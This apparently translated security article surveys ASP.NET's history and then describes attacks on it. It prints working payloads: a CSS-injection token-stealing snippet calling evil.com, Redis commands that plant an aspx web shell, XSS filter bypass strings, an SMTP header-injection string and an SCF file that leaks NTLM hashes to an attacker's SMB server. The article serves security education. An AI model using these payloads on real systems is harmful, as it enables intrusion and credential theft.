Is it possible to “hack” ASP infrastructure?



    As the information security experts say, “They break everything, everyone and always.” At the same time, attacks on ASP.NET are quite rare. Therefore, it is always extremely curious to learn about this something new. Under the cut, the story of the Rambler Group information security specialist Alexei Morozov about the strengths and weaknesses of this technology.

    Introduction


    Today, ASP has earned its popularity as a means to create medium and large projects. And, like any popular solution, ASP.NET is also of interest to external security researchers, hackers and testers.

    This article discusses possible ASP.NET security issues in various versions. However, it should be noted that ASP is much inferior in terms of the number of solutions to the same PHP, and this is due to many factors.

    Unlike PHP, using ASP is usually much more complicated and costly (using the commercial version of IIS, Visual Studio development environment). Until recently (the appearance of ASP.NET Core), use was possible only under Windows and on the IIS web server. Also more complicated is the deployment procedure.

    ASP ( Active Server Pages) Is Microsoft’s technology for creating dynamic pages.

    Description: This technology makes it possible to create HTML pages with Jscript inserts (very similar to JavaScript, but in addition to client scripts it has a number of possibilities for working with the Windows operating system and server inserts on ASP)

    Example :

    <% @ Language = "JScript" %><%
      Response.Write("Hello World!");
    %>
    

    ASP.NET

    The next step in the development of technology was the creation of an ASP core based on the .Net framework. As a result, ASP got all the features of this solution, namely:

    • use of different programming languages ​​(C #, Visual Basic .NET, J # and JScript .NET);
    • increased speed compared with scripting technologies, since the code is compiled and placed in a special cache when it is first accessed, and then it is only executed without requiring time for parsing, optimization;
    • compiled code that allows you to better detect errors, so the debugging process itself becomes more efficient;
    • appearance of page caching;
    • separation of presentation from business logic.

    On the basis of the ASP.NET solution, subsequent technologies were created, which we will consider.

    ASP.NET Ajax is one of the extensions of ASP.NET that allows you to use Ajax to asynchronously update part of the content.

    Example :

    <asp:ButtonID="Button1"runat="server"Text="Refresh" /><asp:UpdatePanelID="UpdatePanel1"runat="server"><Triggers><asp:AsyncPostBackTriggerControlID="Button1"EventName="Click" /></Triggers><ContentTemplate><span><%=DateTime.Now %></span></ContentTemplate></asp:UpdatePanel>

    ASP.NET Web Forms is a new evolution of ASP technology, in which a transition to a component-oriented application building model takes place.

    Description:

    The Web Forms model is based on three main concepts: page postback, view state and server controls. Each HTTP request sent to a web server and associated with an ASP.NET runtime goes through several stages in which the processing of a postback event takes center stage. The postback event is the main action that the user expects to receive as a result of processing his request. (for example, click on the button).

    Simply put, traditional controls (controls) and an event-driven development model emerge.

    Example :

    View (aspx file) - client side.

    <%@PageLanguage="C#"CodeFile="SamplePage.aspx.cs"Inherits="SamplePage"AutoEventWireup="true" %><html><headrunat="server" ><title>Code-Behind Page Model</title></head><body><formid="form1"runat="server"><div><asp:Labelid="Label1"runat="server"Text="Label" ></asp:Label><br /><asp:Buttonid="Button1"runat="server"onclick="Button1_Click"Text="Button" ></asp:Button></div></form></body></html>

    Logic processing (cs file (if C # is used)) - server side.

    usingSystem;
    usingSystem.Web;
    usingSystem.Web.UI;
    usingSystem.Web.UI.WebControls;
    public partial class SamplePage : System.Web.UI.Page
    {
        protected void Button1_Click(object sender, EventArgs e)
        {
            Label1.Text = "Clicked at " + DateTime.Now.ToString();
        }
    }
    

    ASP.NET Web API is another extension that allows you to create API services for more convenient development and interaction with the application.

    Example :

    [HttpDelete("{id}")]
    public IActionResult Delete(long id)
    {
        var todo = _context.TodoItems.Find(id);
        if (todo == null)
        {
            return NotFound();
        }
        _context.TodoItems.Remove(todo);
        _context.SaveChanges();
        return NoContent();
    }
    

    ASP.NET MVC - the next stage in the development of technology occurs after the emergence of the division of business logic into three components of the MVC pattern (Model-View-Controller). The razor engine is also being introduced and it becomes possible to customize the managed elements of the site independently, which was very difficult for Web Forms.

    Benefits :

    • management of complex structures is facilitated by separating the application into a model, a view, and a controller;
    • view state and server forms are not used. This makes the MVC platform ideal for developers who need full control over the behavior of the application;
    • primary controller scheme in which web application requests are processed through a single controller. This allows you to create applications that support an extended routing infrastructure;
    • Good for web applications supported by large teams of developers.

    Example :

    View

    @{
        Layout = null;
    }
    <!DOCTYPE html><html><head><metaname="viewport"content="width=device-width" /><title>SomeView</title></head><body><div><h2>@ViewBag.Message</h2></div></body></html>

    Model (Model)

    using System;
    using System.ComponentModel;
    using System.ComponentModel.DataAnnotations;
    namespaceMvcModels.Models
    {
        publicpartialclassUser
        {
            publicint UserId { get; set; }
            [DisplayName("Имя")]
            publicstring FirstName { get; set; }
            [DisplayName("Фамилия")]
            publicstring LastName { get; set; }
            [DisplayName("Дата рождения")]
            [DataType(DataType.Date)]
            public DateTime BirthDate { get; set; }
        }
    }
    

    Controller (controller)

    using System.Web.Mvc;
    namespaceNonCompiledMvc.Controllers
    {
        publicclassHomeController : Controller
        {
            public ActionResult Index()
            {
                return View((object)"It Works!");
            }
        }
    }
    

    ASP.NET Core - the next spurt in ASP.NET development is becoming cross-platform, with support for C # 7.0.
    TechnologyStrengthsWeak sides
    Active Server Pages, ASPcommon goalInterpreted at runtime, supports “spaghetti code”
    ASP.NET Web Forms 1.0 / 1.1Compiled, UI, supports OOPHeavy throughput, complex HTML, untestable
    ASP.NET Web Forms 2.0--
    ASP.NET AjaxAjax implementationThe appearance of unjustified complexity, lack of flexibility
    ASP.NET Web Forms 3.5-4.0--
    ASP.NET MVC 1.0-5.0The development model changes completely. FlexibilityLack of cross-platform. Unable to compile on the fly
    ASP.NET CoreAppears cross-platform. Open source-

    Authentication in ASP.NET


    There are three types of authentication in ASP.NET MVC, which differ significantly from each other.

    • No Authentication: ASP.NET Identity and integrated authentication is missing;
    • Individual User Accounts: the default project includes the ASP.NET Identity system, which allows you to authorize users both within the application and using external services such as google, twitter, etc.
    • Organizational Accounts: suitable for sites and web applications of individual companies and organizations;
    • Windows Authentication: an authentication system for intranet networks using Windows accounts.



    ASP.NET in terms of hacking


    Like any ASP.NET technology has been cracked. Below will be described the most popular security studies, including not only in the ASP itself, but in conjunction with the infrastructure.

    CVE statistics



    As can be seen from the table, the statistics on the finds are very few. This is due to the fact that ASP.NET requires good knowledge in order to explore it in detail. And also resources on it are much less, than on the same PHP.

    Using null-byte for CVE authorization

    CVE: CVE-2011-3416
    Description: it is possible to bypass authorization.

    Algorithm:

    1. Register a new account with an existing login;
    2. When registering, add null-byte and additional characters (admin% 0012sd);
    3. Thus, the check for uniqueness will be passed. A new user “admin” will be created with the same role, but with a new password.

    Example of vulnerable code :

    If (IsPostBack)
    {
    	String name = Request.Form[“name”];
    	String password = Request.Form[“password”];
    	If (name != null && password != null
    		&& FormsAuthentication.Authenticate(name, password))
    {
          FormsAuthentication.SetAuthCookie(name, false);
          Response.Redirect(Request[“ReturnUrl”] ?? “/”);
    }
    Else
    {
          ModelState.AddModeError(“fail”, “Логинь или пароль неправильны.” +
    	“Пожалуйста введите данные заново”);
    }
    }
    

    Proof-of-Concept :


    Solution: this error was fixed in .Net 3.5

    Remote debugging

    Description: since ASP.NET is a compiled application, it has certain debugging features. Microsoft allows you to use a remote debugger to work on a debug version of the application.

    If this port is open on the Internet and is protected by a simple password, or there is no password at all, then it is possible to pick up a debugger. Further it will allow to influence the application in the DEBUG mode. This includes pulling passwords, changing logic, tracing, etc.

    Proof-of-Concept :



    Solution: use a strong password and not expose the service for debugging.

    SMTP Header Injection

    Description:need to remember a bit of the SMTP protocol specification.
    An example of what a regular simple letter SMTP package looks like:

    Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 199714:39:24-0800 (PST)
    Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18199714:36:17-0800 (PST)
    From: rth@bieberdorf.edu (R.T. Hood)
    To: tmh@immense-isp.com
    Date: Tue, Mar 18199714:36:14 PST
    Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
    X-Mailer: Loris v2.32
    и Lunch today?
    

    Obviously, if there is no validation of the value that falls in the “To” header, it is possible to redirect the letter to another recipient. But that would be too simple and obvious, so validation occurs already at the .Net level.

    However, if you introduce a new Reply-To header — the answer address, many forms such as “Forgotten Password” often take the sending address from it, thus it is enough to embed carriage return and line feed characters and get the workload.

    ...
    From: rth@bieberdorf.edu (R.T. Hood)
    To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru
    Date: Tue, Mar 18199714:36:14 PST
    Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
    ...
    В итоге будет внедрен новый заголовок:
    From: rth@bieberdorf.edu (R.T. Hood)
    To: tmh@immense-isp.com
    Reply-To: hack@hack.ru
    Date: Tue, Mar 18199714:36:14 PST
    Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
    

    Example of vulnerable code:

    MailAddress from = new MailAddress(“******@mail.ru", “test");
    MailAddress to = new MailAddress(email);
    MailMessage m = new MailMessage(from, to);
    m.Subject = "Тест";
    m.Body = "Письмо-тест";
    m.Headers.Add(“To", email);
    m.IsBodyHtml = true;
    SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587);
    smtp.Credentials = new NetworkCredential(“******@mail.ru", “******");
    smtp.EnableSsl = true;
    smtp.Send(m);
    

    Proof-of-Concept :


    Solution: do not write intricate code, use fresh .Net

    RCE in Partial View

    Description: There are two important concepts in ASP.NET MVC terminology:
    View is a view, what the user sees. As already noted, thanks to razor or web forms engines, it is possible to implement server code.
    Partial View is a partial view. This is part of the contents of the View, rendered in a separate file for convenience.

    It is necessary to have some field in Partial View, which is rendered in html, and in which it is possible to put a dangerous load.

    Load Example: Get Current User Password

    @((Account.Models.User)Session[“User”].Password

    As a result of hitting View, this code will be executed. Since the directives will be recognized as a razor engine. The figure below shows how this happens.

    Algorithm:

    1. The user makes a request to the controller;
    2. The controller renders the View;
    3. Inside the View there is a Partial View, after which a request is again made to the controller, which is responsible for drawing the partial view;
    4. The finished Partial View returns to the main, and the main to the user.



    Proof-of-Concept :



    A simplified example :

    @{ Html.RenderPartial("Code", html); }
    Controller - 
    public ActionResult Index(string html = "")
    {
    	ViewBag.Html = html;
    	returnView();
    }
    Partial view – Частичное представление
    @model string
    @{
    	Layout = null;
    }
    @Model
    Indexview – Главное представление
    @{
    	string html = ViewBag.Html.ToString();
    }
    @{ Html.RenderPartial("Code", html); }
    

    Proof-of-Concept :



    PS Attempting to reproduce will not succeed.

    CSRF & CSS Injection

    These vulnerabilities involve user interaction.

    CSRF (Cross Site Request Forgery) is a cross-site request forgery.

    Algorithm:

    1. The user comes to the hacker site;
    2. Fills the form fields;
    3. Data from the form is sent to another site on behalf of the user and with his role;
    4. Thus, the user, himself without knowing it, performed some actions on another resource.

    To protect against this type of attack, CSRF tokens were invented, usually a string containing a sequence of characters.

    A vulnerability was found that allows to bypass the protection from CSRF. It was necessary to simply use a string much smaller than the original one as a token.

    Normal token

    <inputtype="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />

    Vulnerable Token

    <inputtype="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />

    Load for the theft of the token via CSS (not XSS):
    In the case where truncation of the token does not help, you can resort to attacking CSS Injection, which allows you to steal the token from the page and draw it on your resource. Thanks to this user a real token is given, and the necessary request on the site is made on his behalf.

    Load example :

    %0A{}*{color:red;} - Test
    <divid ="s"> secret <styletype ="text/css">div#s:: -webkit-scrollbar-track-piece:vertical:increment {
     	background: red url(//evil.com?s); 
    }
    * {-o-link:'javascript:alert(1)';-o-link-source: current;}
    

    XXE in DocX

    Description: ASP.NET as well as other technologies uses many third-party solutions. In one of these solutions integrated in ASP.NET, a XXE vulnerability was found (XML External Entities), which consists of an xml parser error and the ability to connect external entities that may contain critical data. You can read more about XXE on the OWASP pages .

    In this case, the component is responsible for loading and parsing docx (Microsoft World) files. Since any Office document is in fact a set of xml files, during the parsing, an attack of XXE can be carried out.

    Algorithm:

    1. Unpacked office document;
    2. Load is being introduced;
    3. Packed back as docx;
    4. It is poured onto the server for processing, where the vulnerable component is used.

    Proof-of-Concept :



    RCE via Redis

    Description: In addition to vulnerable components, ASP.NET hacking can be combined with vulnerable technologies. For example, in the in-memory data storage system Redis, there is a long-known vulnerability that allows to execute arbitrary code on the server side. Next will be considered this attack in relation to ASP.

    Algorithm:

    1. Connect to Redis. It is important that it runs on the same server as the web server;
    2. Performing the following listing and using a web server to view the resulting page will execute arbitrary code. In this case, call the calculator:

    config set dir DIRNAME
    config  set dbfilename asd.aspx
    flushall
    setc '<%@ PageLanguage="C#"AutoEventWireup="true"CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>'
    save
    

    Proof-of-Concept :



    XSS Filter ByPass

    Inside ASP.NET has its own mechanism for filtering data from XSS class attacks. When you try to transfer prohibited characters or a signature, the following protection works:



    However, there are many ways to bypass this protection. Here are some of them:

    • % EF% BC% 9Cimg% 20src% 3Dxxx% 20onerror% 3D alert (1) % EF% BC% 9E
    • <- / script> alert (1) ;
    • </ XSS / * - * / STYLE = xss: e / ** / xpression ( alert ('XSS') )>
    • % uff1cscript% uff1e alert ('XSS') ;% uff1c / script% uff1e

    In recent versions, these methods no longer work, however, as already mentioned, ASP.NET technology was created primarily for large and long projects, so many more resources may be affected by this vulnerability.

    Shell Command File

    Description: Not so long ago, a vulnerability linked to the Google Chrome browser thundered, the essence of which is the theft of the user's NTLM hash.

    Algorithm:

    1) The file with the scf extension and the following contents are prepared

    [Shell]
    IconFile=\\***.**.*.***\icon
    

    where, instead of asterisks, ip is the attacker's smb server address;

    2) When you hit the user's computer, this file does not even require opening. Enough for the user to simply go to the same folder as this file. Once this happens, a packet with a hash is sent to the SMB server;

    3) Thus, infrastructure hacking can also be combined with simple vulnerabilities such as Open Redirect.

    Proof-of-Concept :




    Thanks for attention! Share your experience and leave questions to Alexei Morozov (aka SoolFaa ) in the comments to this article.

    Also popular now: